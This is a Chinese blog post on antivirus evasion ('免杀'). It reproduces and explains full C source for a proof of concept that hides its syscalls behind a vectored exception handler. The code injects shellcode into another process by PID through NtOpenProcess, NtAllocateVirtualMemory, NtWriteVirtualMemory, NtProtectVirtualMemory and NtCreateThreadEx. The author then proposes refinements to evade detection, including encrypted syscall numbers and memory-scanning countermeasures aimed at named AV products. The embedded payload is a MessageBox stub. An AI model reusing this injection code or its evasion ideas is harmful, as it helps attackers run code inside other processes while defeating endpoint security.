免杀笔记 ---> 一种有想法的Indirect-Syscall

news2024/9/26 20:03:15

今天来分享一下,看到的一种Indirect-Syscall,也是两年前的项目了,但是也是能学到思路,从中也是能感受到杀软对抗之间的乐趣!!说到乐趣,让我想起看到过一位大佬的文章对"游褒禅山记"的段落引用,这里也深有同感,或许乐趣就在其中吧!!

而世之奇伟、瑰怪,非常之观,常在于险远,而人之所罕至焉,故非有志者不能至也! 

目录

1.Veh异常的引入 

2.项目魔改方向

1.动态获取SSN

2.Veh的判断 && SSN的加密

3.增加内存对抗


1.Veh异常的引入 

上一篇Blog讲到过很多Syscall,其中,有人发布了一种新颖的syscall的方式,也是通过Jmp去Ntdll实现的间接系统调用,但是这里引入了Veh。项目地址RedTeamOperations/VEH-PoC (github.com)icon-default.png?t=O83Ahttps://github.com/RedTeamOperations/VEH-PoC/tree/main源代码如下

#pragma once
#include <Windows.h>
#include <stdio.h>
#include "incl.h"



EXTERN_C DWORD64 SetSysCall(DWORD offset);

BYTE* FindSyscallAddr(ULONG_PTR base) {
	BYTE* func_base = (BYTE*)(base);
	BYTE* temp_base = 0x00;
	//0F05 syscall
	while (*func_base != 0xc3) {
		temp_base = func_base;
		if (*temp_base == 0x0f) {
			temp_base++;
			if (*temp_base == 0x05) {
				temp_base++;
				if (*temp_base == 0xc3) {
					temp_base = func_base;
					break;
				}
			}
		}
		else {
			func_base++;
			temp_base = 0x00;
		}
	}
	return temp_base;
}


ULONG_PTR g_syscall_addr = 0x00;
ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {
	// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library 
	// might cause EXCEPTION_ACCESS_VIOLATION 
	// TODO: Add more checks for stability
	if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
		// Todo: decode syscall number in Rip if encoded
		// modifing the registers
		exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
		// RIP holds the syscall number
		exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
		// setting global address
		exception_ptr->ContextRecord->Rip = g_syscall_addr;
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	
}

void VectoredSyscalPOC(unsigned char payload[], SIZE_T payload_size, int pid) {
	ULONG_PTR syscall_addr = 0x00;
	FARPROC drawtext = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDrawText");
	if (drawtext == NULL) {
		printf("[-] Error GetProcess Address\n");
		exit(-1);
	}
	syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);

	if (syscall_addr == NULL) {
		printf("[-] Error Resolving syscall Address\n");
		exit(-1);
	} 
	// storing syscall address globally
	g_syscall_addr = syscall_addr;

	 Init vectored handle
	AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);

	NTSTATUS status;
	// Note: Below syscall might differ system to system 
	// it's better to grab the syscall numbers dynamically
	
	enum syscall_no {
		SysNtOpenProcess = 0x26,
		SysNtAllocateVirtualMem = 0x18,
		SysNtWriteVirtualMem = 0x3A,
		SysNtProtectVirtualMem = 0x50,
		SysNtCreateThreadEx = 0xBD
	};

	
	// Todo: encode syscall numbers
	// init Nt APIs
	// Instead of actual Nt API address we'll set the API with syscall number
	// and calling each Nt APIs causes an exception which'll be later handled from the
	// registered vectored handler. The reason behind initializing each NtAPIs with
	// their corresponding syscall number is to pass the syscall number to the 
	// exception handler via RIP register 

	_NtOpenProcess pNtOpenProcess = (_NtOpenProcess)SysNtOpenProcess;
	_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;
	_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;
	_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;
	_NtCreateThreadEx pNtCreateThreadEx = (_NtProtectVirtualMemory)SysNtCreateThreadEx;


	HANDLE hProcess = { INVALID_HANDLE_VALUE };
	HANDLE hThread = NULL;
	HMODULE pNtdllModule = NULL;
	CLIENT_ID clID = { 0 };
	DWORD mPID = pid;
	OBJECT_ATTRIBUTES objAttr;
	PVOID remoteBase = 0;
	SIZE_T bytesWritten = 0;
	SIZE_T regionSize = 0;
	unsigned long oldProtection = 0;
	// Getting handle to module
	//printf("loaded syscall before detect\n");
	//system("pause");
	// Init Object Attributes
	InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
	clID.UniqueProcess = (void*)mPID;
	clID.UniqueThread = 0;
	if (!LoadLibraryA("syscall-detect.dll")) {
		printf("Failed to load library \n");
	}
	printf("[+] Starting Vectored Syscall... \n");
	system("pause");
	//printf("loaded syscall detect\n");
	// open handle to target process
	status = pNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clID);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to Open Process: %x \n", status);
		exit(-1);
	}

	// Allocate memory in remote process
	regionSize = payload_size;
	status = pNtAllocateVirtualMemory(hProcess, &remoteBase, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!NT_SUCCESS(status)) {
		printf("[-] Remote Allocation Failed: %x \n", status);
		exit(-1);
	}

	// Write payload to remote process
	status = pNtWriteVirtualMemory(hProcess, remoteBase, payload, payload_size, &bytesWritten);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to write payload in remote process: %x \n", status);
		exit(-1);
	}

	// Change Memory Protection: RW -> RX
	status = pNtProtectVirtualMemory(hProcess, &remoteBase, &regionSize, PAGE_EXECUTE_READ, &oldProtection);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to change memory protection from RW to RX: %x \n", status);
		exit(-1);
	}

	// Execute Remote Thread
	status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteBase, NULL, FALSE, 0, 0, 0, NULL);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to Execute Remote Thread: %x \n", status);
		exit(-1);
	}

	printf("[+] Injected shellcode!! \n");
	system("pause");
}


int main(int argc, char** argv) {
	// parsing argument
	int pid = 0;
	if (argc < 2 || argc > 2) {
		printf("[!] filename.exe <PID> \n");
		exit(-1);
	}
	pid = atoi(argv[1]);

	// MessageBox "hello world"
	unsigned char payload[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
		"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
		"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
		"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
		"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
		"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
		"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
		"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
		"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
		"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
		"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
		"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
		"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
		"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
		"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
		"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
		"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
		"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
		"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
		"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
		"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
		"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
		"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
		"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
		"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
		"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
		"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
		"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
		"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
	// Size of paylaod
	SIZE_T payload_size = sizeof(payload);
	// Invoke Classic Process Injection
	VectoredSyscalPOC(payload, payload_size, pid);
}

其中这个syscall的一个特色就是它的Veh了,下面我们逐行代码解析

前面不多说的,我们直接跟进VectoredSyscalPOC 这个函数

VectoredSyscalPOC(payload, payload_size, pid);

首先通过找到ZwDrawText这个Zw函数的系统调用

	ULONG_PTR syscall_addr = 0x00;
	FARPROC drawtext = GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwDrawText");
	if (drawtext == NULL) {
		printf("[-] Error GetProcess Address\n");
		exit(-1);
	}
	syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);

	if (syscall_addr == NULL) {
		printf("[-] Error Resolving syscall Address\n");
		exit(-1);
	} 

因为就算是天擎这种这么喜欢HookNt函数的也不hook这个冷门函数 

我们跟进去FindSyscallAddr 这个函数

syscall_addr = (ULONG_PTR)FindSyscallAddr((ULONG_PTR)drawtext);

这个就是在再通过不断移动func_base的地址,来找到drawtext它syscall的地址 

BYTE* FindSyscallAddr(ULONG_PTR base) {
	BYTE* func_base = (BYTE*)(base);
	BYTE* temp_base = 0x00;
	//0F05 syscall
	while (*func_base != 0xc3) {
		temp_base = func_base;
		if (*temp_base == 0x0f) {
			temp_base++;
			if (*temp_base == 0x05) {
				temp_base++;
				if (*temp_base == 0xc3) {
					temp_base = func_base;
					break;
				}
			}
		}
		else {
			func_base++;
			temp_base = 0x00;
		}
	}
	return temp_base;
}

接着就是异常处理函数的引入了

AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HandleException);

这里我们先不跟进去(我个人觉得会更好理解),我们继续往下看

	
	enum syscall_no {
		SysNtOpenProcess = 0x26,
		SysNtAllocateVirtualMem = 0x18,
		SysNtWriteVirtualMem = 0x3A,
		SysNtProtectVirtualMem = 0x50,
		SysNtCreateThreadEx = 0xBD
	};

	
	// Todo: encode syscall numbers
	// init Nt APIs
	// Instead of actual Nt API address we'll set the API with syscall number
	// and calling each Nt APIs causes an exception which'll be later handled from the
	// registered vectored handler. The reason behind initializing each NtAPIs with
	// their corresponding syscall number is to pass the syscall number to the 
	// exception handler via RIP register 

	_NtOpenProcess pNtOpenProcess = (_NtOpenProcess)SysNtOpenProcess;
	_NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)SysNtAllocateVirtualMem;
	_NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)SysNtWriteVirtualMem;
	_NtProtectVirtualMemory pNtProtectVirtualMemory = (_NtProtectVirtualMemory)SysNtProtectVirtualMem;
	_NtCreateThreadEx pNtCreateThreadEx = (_NtProtectVirtualMemory)SysNtCreateThreadEx;

这里就是把上面的SSN分别给了每一个nt函数的地址(是不是有点奇怪,别急!好戏开场!)

	status = pNtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clID);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to Open Process: %x \n", status);
		exit(-1);
	}

	// Allocate memory in remote process
	regionSize = payload_size;
	status = pNtAllocateVirtualMemory(hProcess, &remoteBase, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (!NT_SUCCESS(status)) {
		printf("[-] Remote Allocation Failed: %x \n", status);
		exit(-1);
	}

	// Write payload to remote process
	status = pNtWriteVirtualMemory(hProcess, remoteBase, payload, payload_size, &bytesWritten);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to write payload in remote process: %x \n", status);
		exit(-1);
	}

	// Change Memory Protection: RW -> RX
	status = pNtProtectVirtualMemory(hProcess, &remoteBase, &regionSize, PAGE_EXECUTE_READ, &oldProtection);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to change memory protection from RW to RX: %x \n", status);
		exit(-1);
	}

	// Execute Remote Thread
	status = pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)remoteBase, NULL, FALSE, 0, 0, 0, NULL);
	if (!NT_SUCCESS(status)) {
		printf("[-] Failed to Execute Remote Thread: %x \n", status);
		exit(-1);
	}

然后就是分别调用这些NT函数(shellcode注入),但是他们调用的地址都是非法的,所以就会引发异常!!!😋😋

这时候我们再去跟进异常处理函数

ULONG_PTR g_syscall_addr = 0x00;
ULONG HandleException(PEXCEPTION_POINTERS exception_ptr) {
	// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library 
	// might cause EXCEPTION_ACCESS_VIOLATION 
	// TODO: Add more checks for stability
	if (exception_ptr->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
		// Todo: decode syscall number in Rip if encoded
		// modifing the registers
		exception_ptr->ContextRecord->R10 = exception_ptr->ContextRecord->Rcx;
		// RIP holds the syscall number
		exception_ptr->ContextRecord->Rax = exception_ptr->ContextRecord->Rip;
		// setting global address
		exception_ptr->ContextRecord->Rip = g_syscall_addr;
		return EXCEPTION_CONTINUE_EXECUTION;
	}
	
}

我们就突然熟悉了!!!  所以我手动加了一个注释🤠

//This Stub Should Look Like
//mov  r10 , rcx 
//mov  eax , ssn 
//jmp  ntdll!syscallAddr

因为异常处理函数中,我们能获取到它发生异常的地址,而碰巧,我们就调用nt函数的时候这个地址,正好被换成了我们的ssn!! 所以我们的 exception_ptr->ContextRecord->Rip 就是SSN,这里是我认为非常巧妙的一个点!

然后把程序的Rip指向我们之前找到的drawtext它syscall的地址,正正好好的完成了我们的IndirectSyscall!!!

而他的另外一个很大的优点是什么!!

 :它不用构造特定的Stub,或者说不会出现Syscall,Jmp或者说考虑SysWhisper3的egg这种操作,也是可以规避了Syscall的特征检测!!

2.项目魔改方向

1.动态获取SSN

在这份代码中,SSN是作者直接写死了的,于是作者也加了这样的一个注释

	// Note: Below syscall might differ system to system 
	// it's better to grab the syscall numbers dynamically

我们可以动态获取SSN,这种方式已在大部分Syscall项目中实现

2.Veh的判断 && SSN的加密

这个是作者认为可以改进的地方,也是在代码中抛出的

	// EXCEPTION_ACCESS_VIOLATION check is not stable, some situation like during loading library 
	// might cause EXCEPTION_ACCESS_VIOLATION 
	// TODO: Add more checks for stability

这里是作者前面进行了LoadLibrary的操作,担心导致0xc000005,这里可以加上判断异常地址的值通过算法计算是否是加密的SSN! 因为这里作者也是提到了SSN可以进行一个加密的操作


	// Todo: encode syscall numbers
	// init Nt APIs
	// Instead of actual Nt API address we'll set the API with syscall number
	// and calling each Nt APIs causes an exception which'll be later handled from the
	// registered vectored handler. The reason behind initializing each NtAPIs with
	// their corresponding syscall number is to pass the syscall number to the 
	// exception handler via RIP register 

所以我们可以对SSN进行加密,然后我们后面 mov eax ,ssn 的操作就可以变成这样

exception_ptr->ContextRecord->Rax = Decrypt(exception_ptr->ContextRecord->Rip);

3.增加内存对抗

现在的对抗趋势,已经逐渐往内存对抗上去进行(如某绒新增的内存查杀可把某些人杀的不浅),所以我们也是可以进行内存动态加解密,但是这里可以配合一种无痕的Hook技术 "硬件断点",这个后续也会进行更新。 

主要是通过Inline-Hook需要修改内存,如果以后的AV || EDR 增加"内存巡检",那么我们的Patch内存将会是一种灾难,甚至会导致直接查杀,但是即使是硬件断点,也是可以被检测!但是还是那句话,"道高一丈,魔高一尺",或许杀软对抗的乐趣就在其中吧!!! :>) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2167844.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

学习RocketMQ

RocketMQ是一个分布式消息和流平台&#xff0c;它被设计为具有简单和可复制的架构&#xff0c;同时具有高性能和高可靠性。以下是RocketMQ从入门到精通的一些关键概念和示例代码。 1、安装和启动RocketMQ 1.1、下载并解压RocketMQ二进制文件。 wget https://archive.apache.…

JavaWeb--08BeanUtils:自定义转换器

在07创建了表单&#xff0c;但是获取网页信息的java代码太繁杂了&#xff0c;每次获取数据都要书写依次如下的&#xff1a; 重新创建一个web工程项目test1010---需要配置tomacat&#xff0c;具体传送门&#xff1a;CSDN 配置好了如下&#xff1a; 在里面web目录下创建一个reg…

JVM 基础知识(基础组成 )

使用场景 线上系统突然宕机,系统无法访问,甚至直接 O0M;线上系统响应速度太慢,优化系统性能过程中发现 CPU 占用过高,原因也许是因为 JVM的 GC 次数过于频繁;新项目上线,需要设置 JVM的各种参数;等 JDK / JRE / JVM JDK JDK 全称 ( Java Development Kit ) &#xff0c;是 Ja…

Git 使用方法

简介 Git常用命令 Git 全局设置 获取Git 仓库 方法二用的比较多 将仓库链接复制 在 git base here ----> git clone 仓库链接 工作区、暂存区、版本库 Git 工作区中文件中的状态 本地仓库的操作 远程仓库操作 git pull 将代码推送到远程仓库 1. git add 文件名 ---放…

C++:继承和多态,自定义封装栈,队列

1.栈&#xff1a; stack.cpp #include "stack.h"Stack::Stack():top(nullptr),len(0){} //析构函数 Stack::~Stack() {while(!empty()){pop();} }bool Stack::empty() //判断栈是否为空 {return topnullptr; }int Stack::size()//获取栈的大小 {return len; } //压…

万字长文详解Java线程知识

什么是进程、线程、协程&#xff1f; 进程 进程是计算机科学中的一个核心概念&#xff0c;它指的是在操作系统中正在执行的一个程序的实例。进程是操作系统中的一个独立执行单元&#xff0c;具有独立的内存空间和系统资源。每个进程都有自己独立的地址空间和文件描述符&#x…

循环神经网络笔记

循环神经网络学习 RNN训练方法–BPTT BPTT &#xff08;Backpropagation Through Time&#xff09;&#xff0c;这是一种用于训练循环神经网络&#xff08;RNNs&#xff09;的算法。由于 RNNs 能够处理序列数据&#xff0c;并且在每个时间步上都有内部状态&#xff0c;因此需…

南京自闭症寄宿学校:打造温馨的第二家

南京自闭症寄宿学校的愿景与广州星贝育园的温馨实践 在探讨自闭症儿童教育的广阔领域中&#xff0c;寄宿制学校以其独特的优势&#xff0c;为这些特殊的孩子提供了全方位的支持与关怀&#xff0c;致力于打造一个温馨如家的第二生活环境。虽然本文的主题是围绕南京自闭症寄宿学…

Chirp通过Sui让IoT世界变得更简单

据估计&#xff0c;未来十年内&#xff0c;联网设备的数量将增长到近400亿台。无论是追踪共享出行车辆的移动、改善食品追溯性、监控制造设施&#xff0c;还是保障家庭安全&#xff0c;物联网 ( Internet of Things&#xff0c;IoT) 对企业和消费者来说都已经成为一项关键技术。…

刷题学习日记 (1) - SWPUCTF

写这篇文章主要是想看看自己一个下午能干啥&#xff0c;不想老是浪费时间了&#xff0c;所以刷多少题我就会写多少题解&#xff0c;使用nss随机刷题&#xff0c;但是今天下午不知道为啥一刷都是SWPUCTF的。 [SWPUCTF 2021 新生赛]gift_F12 控制台ctrlf搜索flag即可&#xff0…

什么是竞争条件?

竞争条件&#xff0c;简单来说就是多个进程同时访问同一个共享资源&#xff0c;导致出现预期结果以外的错误的情况。 出现竞争条件的本质原因是cpu对程序的调度是没有特定规律的&#xff0c;某一时刻cpu处理哪个进程是不确定的。 简单写一个测试程序&#xff0c;先需要子进程和…

ubuntu安装emqx

目录 1.预先下载好emqx压缩包 2.使用tar命令解压 3.进入bin目录 5.放开访问端口18083 6.从通过ip地址访问emqx后台 7.默认用户名密码为admin/public 8.登录后台 9.资源包绑定在此博文可自取 1.预先下载好emqx压缩包 2.使用tar命令解压 sudo tar -xzvf emqx-5.0.8-el8-…

手机轻松解压 RAR 文件指南

手机通常不直接支持 RAR 文件打开&#xff0c;主要有以下几个原因。首先&#xff0c;手机操作系统的设计初衷并非为了处理各种复杂的压缩文件格式。 大多数手机内置的文件管理器主要侧重于管理手机内部存储和常见的文件类型&#xff0c;如图片、音频、视频等。对于像 RAR 这样…

【UR #1】外星人(dp思维技巧)

考虑去除后效性&#xff0c;常用方法排序状态可以直接以答案为状态来判断合法性考虑转移方向&#xff0c;向后转移&#xff0c;选与不选来定向答案 f[i][j]表示前i个数答案为j的方案数 不选i 则加上f[i][j] 的方案数 * &#xff08;n-i&#xff09;,ai可以在后面随便选。 选…

Python 课程20-Scikit-learn

前言 Scikit-learn 是 Python 中最流行的机器学习库之一&#xff0c;它提供了多种用于监督学习和无监督学习的算法。Scikit-learn 的特点是简单易用、模块化且具有高效的性能。无论是初学者还是专业开发者&#xff0c;都可以借助它进行快速原型设计和模型开发。 在本教程中&a…

为何专利对企业创新与竞争至关重要?

在当今这个技术飞速发展的时代&#xff0c;每一个创新的火花都可能成为推动行业进步的关键力量。然而&#xff0c;创新并非一蹴而就&#xff0c;它需要时间、资金与智慧的共同投入&#xff0c;更需要一套完善的保护机制来确保其成果不被轻易窃取或模仿。这一重任&#xff0c;便…

WebPage-Bootstrap框架(container类,container-fluid类,栅格系统)

1.Bootstrap Bootstrap为页面内容和栅格系统包裹了一个.container容器&#xff0c;框架预先定义类 1.1container类 响应式布局容器的宽度 手机-小于768px 宽度设置100%&#xff1b; 平板-大于等于768px 设置宽度为750px 桌面显示器-大于等于992px 设置宽度 970px 大屏幕显…

医院排班|医护人员排班系统|基于springboot医护人员排班系统设计与实现(源码+数据库+文档)

医护人员排班系统目录 目录 基于springboot医护人员排班系统设计与实现 一、前言 二、系统功能设计 三、系统实现 医护类型管理 排班类型管理 科室信息管理 医院信息管理 医护信息管理 四、数据库设计 1、实体ER图 2、具体的表设计如下所示&#xff1a; 五、核心代码…

“AI+Security”系列第3期(五):AI技术在网络安全领域的本地化应用与挑战

近日&#xff0c;由安全极客、Wisemodel 社区、InForSec 网络安全研究国际学术论坛和海升集团联合主办的“AI Security”系列第 3 期技术沙龙&#xff1a;“AI 安全智能体&#xff0c;重塑安全团队工作范式”活动顺利举行。此次活动吸引了线上线下超过千名观众参与。 在活动中…

shell中对xargs命令传参进行编辑

以文件解压为例&#xff0c;将当前路径下的所有gz文件解压到同名的log文件中&#xff0c;解压命令如下所示&#xff1a; ls *.gz| xargs -n 1 -P 4 -I {} bash -c zcat "{}" > $(echo "{}" | sed "s/gz$/log/g") 执行结果如下图所示&#x…